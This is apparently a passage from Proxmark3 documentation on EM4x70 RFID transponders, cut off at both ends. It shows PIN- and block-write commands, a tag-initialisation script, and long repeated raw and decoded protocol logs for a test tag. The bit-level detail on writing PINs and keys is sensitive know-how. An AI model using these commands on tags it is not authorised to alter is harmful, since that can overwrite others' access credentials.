| KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] +``` + +### lf em 4x70 setpin (revert to AAAAAAAA) + +Always leave the tag with pin `AAAAAAAA`. + +`[usb|script] pm3 --> lf em 4x70 setpin -p AAAAAAAA` + +#### log + +``` +[#] sent >>>: [ 17169 .. 19544 ] ( 2375 ) 6 bits: 000001 +[#] recv <<<: [ 25998 .. 38289 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 45021 .. 59464 ] ( 14443 ) 37 bits: 0001010101111010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 114117 .. 128558 ] ( 14441 ) 37 bits: 0001010101001010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 183212 .. 210875 ] ( 27663 ) 71 bits: 00010010111100010111000111000000001001010101010101010101010101010101010 +[#] recv <<<: [ 263791 .. 276080 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 282813 .. 285188 ] ( 2375 ) 6 bits: 000010 +[#] recv <<<: [ 291642 .. 303930 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 310664 .. 313042 ] ( 2378 ) 6 bits: 000111 +[#] recv <<<: [ 319482 .. 344060 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 +``` + +#### decoded log + +``` +[#] sent >>>: 6 bits: 00 0001 + RM EM4X70_COMMAND_ID +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 + 7 8 B 8 E 0 1 2 + +[#] sent >>>: 37 bits: 00 01010 10111 10100 10100 10100 10100 00000 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0000 0 == 0x0 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1010 0 == 0xA 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 1010 0 == 0xA 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 1010 0 == 0xA 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 1010 0 == 0xA 1st row nibble + row parity + || ||||| \\\\\----------------------------------- 1011 1 == 0xB address + address parity + || \\\\\------------------------------------------ 0101 0 == EM4X70_COMMAND_WRITE + parity + \\------------------------------------------------ 00 == RM bits + +[#] sent >>>: 37 bits: 00 01010 10100 10100 10100 10100 10100 00000 + || ||||| ||||| ||||| ||||| ||||| ||||| \\\\\---- 0000 0 == 0x0 5th row: column parity + 0 + || ||||| ||||| ||||| ||||| ||||| \\\\\---------- 1010 0 == 0xA 4th row nibble + row parity + || ||||| ||||| ||||| ||||| \\\\\---------------- 1010 0 == 0xA 3rd row nibble + row parity + || ||||| ||||| ||||| \\\\\---------------------- 1010 0 == 0xA 2nd row nibble + row parity + || ||||| ||||| \\\\\---------------------------- 1010 0 == 0xA 1st row nibble + row parity + || ||||| \\\\\----------------------------------- 1010 0 == 0xA address + address parity + || \\\\\------------------------------------------ 0101 0 == EM4X70_COMMAND_WRITE + parity + \\------------------------------------------------ 00 == RM bits + +[#] sent >>>: 71 bits: 00 01001 0111 1000 1011 1000 1110 0000 0001 0010 1010 1010 1010 1010 1010 1010 1010 1010 + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| \||/ \||/ \||/ \||/ \||/ \||/ \||/ \||/-- PIN + || ||||| |||| |||| |||| |||| |||| |||| |||| |||| A A A A A A A A + || ||||| \||/ \||/ \||/ \||/ \||/ \||/ \||/ \||/------------------------------------------- Tag ID + || ||||| 7 8 B 8 E 0 1 2 + || \\\\\------------------------------------------------------------------------------------ EM4X70_COMMAND_PIN + parity + \\------------------------------------------------------------------------------------------ RM bits +[#] recv <<<: 32 bits: 0111 1000 1011 1000 1110 0000 0001 0010 + 7 8 B 8 E 0 1 2 + +skipping read of UM1 and UM2 +``` + +#### other output + +``` +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] +[=] Writing new PIN ( ok ) +``` + + +

+ +## General format of the output: + +``` +^^^^^------- Actual bits sent +[#] DIRECTN_: [ START .. END ] ( ELAPSED) ## bits: ..... + ^^^^^^^^ ^^^^^^ .. ^^^^^^ ^^^^^^ ^^ ^^^^^ + |||||||| |||||| |||||| |||||| || \\\\\------- Actual bits sent or received + |||||||| |||||| |||||| |||||| \\------------------- Count of bits sent or received + |||||||| |||||| |||||| \\\\\\------------------------ (END - START) + |||||||| |||||| \\\\\\----------------------------------- Device tick count after last bit + |||||||| \\\\\\----------------------------------------------- Device tick count at first bit + \\\\\\\\----------------------------------------------------------- Direction: sent from reader, or received from tag +``` + +NOTE: bits sent by reader INCLUDE the 2-bit RM (always `00`) +NOTE: bits received by reader EXCLUDE the 12-bit synchronization header (`111111110000`). + + +## Initialization of the tag + +Script to initialize the tag to known starting state: + +
Hiding by default as not critical

+ +``` +rem set UM2 blocks to `AAAA` +lf em 4x70 write -b 15 -d AAAA +lf em 4x70 write -b 14 -d AAAA +lf em 4x70 write -b 13 -d AAAA +lf em 4x70 write -b 12 -d AAAA +rem set PIN code to `AAAAAAAA` +lf em 4x70 write -b 11 -d AAAA +lf em 4x70 write -b 10 -d AAAA +rem set KEY to `AAAAAAAAAAAA +lf em 4x70 write -b 9 -d AAAA +lf em 4x70 write -b 8 -d AAAA +lf em 4x70 write -b 7 -d AAAA +lf em 4x70 write -b 6 -d AAAA +lf em 4x70 write -b 5 -d AAAA +lf em 4x70 write -b 4 -d AAAA +rem set ID to `78B8E012` +lf em 4x70 write -b 3 -d 78B8 +lf em 4x70 write -b 2 -d E012 +rem set UM1 to `21DF5678` (unlocked) ... write block 1 last! +lf em 4x70 write -b 0 -d 5678 +lf em 4x70 write -b 1 -d 21DF +``` + +``` +[+] 2024-05-15T18:47:50Z remark: set UM2 blocks to `AAAA` +[#] sent >>>: [ 17156 .. 31590 ] ( 14434 ) 37 bits: 0001010111101010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86240 .. 88618 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 95070 .. 107359 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114092 .. 116470 ] ( 2378 ) 6 bits: 000010 +[#] recv <<<: [ 122934 .. 135223 ] ( 12289 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141957 .. 144333 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150774 .. 175352 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17163 .. 31601 ] ( 14438 ) 37 bits: 0001010111011010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86259 .. 88635 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 95089 .. 107379 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114111 .. 116488 ] ( 2377 ) 6 bits: 000010 +[#] recv <<<: [ 122953 .. 135241 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141976 .. 144349 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 150793 .. 175371 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17157 .. 31602 ] ( 14445 ) 37 bits: 0001010110111010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86252 .. 88627 ] ( 2375 ) 6 bits: 000001 +[#] recv <<<: [ 95081 .. 107372 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114105 .. 116478 ] ( 2373 ) 6 bits: 000010 +[#] recv <<<: [ 122934 .. 135222 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141956 .. 144332 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150775 .. 175353 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17157 .. 31592 ] ( 14435 ) 37 bits: 0001010110001010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 80480 .. 82858 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 89310 .. 101599 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 108333 .. 110708 ] ( 2375 ) 6 bits: 000010 +[#] recv <<<: [ 117161 .. 129450 ] ( 12289 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 136185 .. 138561 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 145002 .. 169581 ] ( 24579 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[+] 2024-05-15T18:47:50Z remark: set PIN code to `AAAAAAAA` +[#] sent >>>: [ 17157 .. 31593 ] ( 14436 ) 37 bits: 0001010101111010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86253 .. 88629 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 95081 .. 107372 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114104 .. 116480 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 122946 .. 135234 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141968 .. 144342 ] ( 2374 ) 6 bits: 000111 +[#] recv <<<: [ 150786 .. 175363 ] ( 24577 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17163 .. 31598 ] ( 14435 ) 37 bits: 0001010101001010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 80487 .. 82865 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 89315 .. 101606 ] ( 12291 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 108339 .. 110713 ] ( 2374 ) 6 bits: 000010 +[#] recv <<<: [ 117167 .. 129457 ] ( 12290 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 136190 .. 138563 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 145008 .. 169585 ] ( 24577 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[+] 2024-05-15T18:47:51Z remark: set KEY to `AAAAAAAAAAAA +[#] sent >>>: [ 17156 .. 31589 ] ( 14433 ) 37 bits: 0001010100101010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86242 .. 88616 ] ( 2374 ) 6 bits: 000001 +[#] recv <<<: [ 95070 .. 107359 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114093 .. 116469 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 122923 .. 135211 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141944 .. 144317 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 150761 .. 175341 ] ( 24580 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17157 .. 31588 ] ( 14431 ) 37 bits: 0001010100011010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86240 .. 88615 ] ( 2375 ) 6 bits: 000001 +[#] recv <<<: [ 95069 .. 107359 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114093 .. 116470 ] ( 2377 ) 6 bits: 000010 +[#] recv <<<: [ 122933 .. 135223 ] ( 12290 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141957 .. 144330 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 150774 .. 175352 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17157 .. 31596 ] ( 14439 ) 37 bits: 0001010011111010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86252 .. 88630 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 95082 .. 107371 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114104 .. 116478 ] ( 2374 ) 6 bits: 000010 +[#] recv <<<: [ 122933 .. 135223 ] ( 12290 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141956 .. 144332 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150775 .. 175352 ] ( 24577 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17164 .. 31603 ] ( 14439 ) 37 bits: 0001010011001010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86259 .. 88635 ] ( 2376 ) 6 bits: 000001 +[#] recv <<<: [ 95089 .. 107377 ] ( 12288 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114111 .. 116487 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 122941 .. 135229 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141963 .. 144339 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150780 .. 175359 ] ( 24579 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17163 .. 31599 ] ( 14436 ) 37 bits: 0001010010101010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86259 .. 88633 ] ( 2374 ) 6 bits: 000001 +[#] recv <<<: [ 95089 .. 107379 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114111 .. 116485 ] ( 2374 ) 6 bits: 000010 +[#] recv <<<: [ 122941 .. 135229 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141963 .. 144337 ] ( 2374 ) 6 bits: 000111 +[#] recv <<<: [ 150781 .. 175359 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17158 .. 31597 ] ( 14439 ) 37 bits: 0001010010011010010100101001010000000 +[#] recv <<<: no data +[#] sent >>>: [ 86253 .. 88631 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 95083 .. 107372 ] ( 12289 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114104 .. 116477 ] ( 2373 ) 6 bits: 000010 +[#] recv <<<: [ 122935 .. 135223 ] ( 12288 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141956 .. 144332 ] ( 2376 ) 6 bits: 000111 +[#] recv <<<: [ 150775 .. 175352 ] ( 24577 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[+] 2024-05-15T18:47:52Z remark: set ID to `78B8E012` +[#] sent >>>: [ 17163 .. 31609 ] ( 14446 ) 37 bits: 0001010001100111110001101111000111000 +[#] recv <<<: no data +[#] sent >>>: [ 86259 .. 88637 ] ( 2378 ) 6 bits: 000001 +[#] recv <<<: [ 95089 .. 107379 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 114112 .. 116487 ] ( 2375 ) 6 bits: 000010 +[#] recv <<<: [ 122940 .. 135230 ] ( 12290 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 141963 .. 144336 ] ( 2373 ) 6 bits: 000111 +[#] recv <<<: [ 150780 .. 175358 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 +[=] 13 | AA AA | UM2 +[=] 12 | AA AA | UM2 +[=] ------+----------+----------------------------- +[=] 11 | -- -- | PIN write only +[=] 10 | -- -- | PIN write only +[=] ------+----------+----------------------------- +[=] 9 | -- -- | KEY write only +[=] 8 | -- -- | KEY write only +[=] 7 | -- -- | KEY write only +[=] 6 | -- -- | KEY write only +[=] 5 | -- -- | KEY write only +[=] 4 | -- -- | KEY write only +[=] ------+----------+----------------------------- +[=] 3 | 78 B8 | ID +[=] 2 | E0 12 | ID +[=] ------+----------+----------------------------- +[=] 1 | 21 DF | UM1 +[=] 0 | 56 78 | UM1 +[=] ------+----------+----------------------------- +[=] +[=] Tag ID: 78 B8 E0 12 +[=] Lockbit 0: 0 +[=] Lockbit 1: 0 +[=] Tag is UNLOCKED. +[=] + +[#] sent >>>: [ 17163 .. 31604 ] ( 14441 ) 37 bits: 0001010001011110100000000110010111010 +[#] recv <<<: no data +[#] sent >>>: [ 80499 .. 82872 ] ( 2373 ) 6 bits: 000001 +[#] recv <<<: [ 89328 .. 101618 ] ( 12290 ) 32 bits: 01111000101110001110000000010010 +[#] sent >>>: [ 108350 .. 110726 ] ( 2376 ) 6 bits: 000010 +[#] recv <<<: [ 117192 .. 129481 ] ( 12289 ) 32 bits: 00100001110111110101011001111000 +[#] sent >>>: [ 136216 .. 138590 ] ( 2374 ) 6 bits: 000111 +[#] recv <<<: [ 145032 .. 169610 ] ( 24578 ) 64 bits: 1010101010101010101010101010101010101010101010101010101010101010 + +[=] --- Tag Information --------------------------- +[=] Block | data | info +[=] ------+----------+----------------------------- +[=] 15 | AA AA | UM2 +[=] 14 | AA AA | UM2 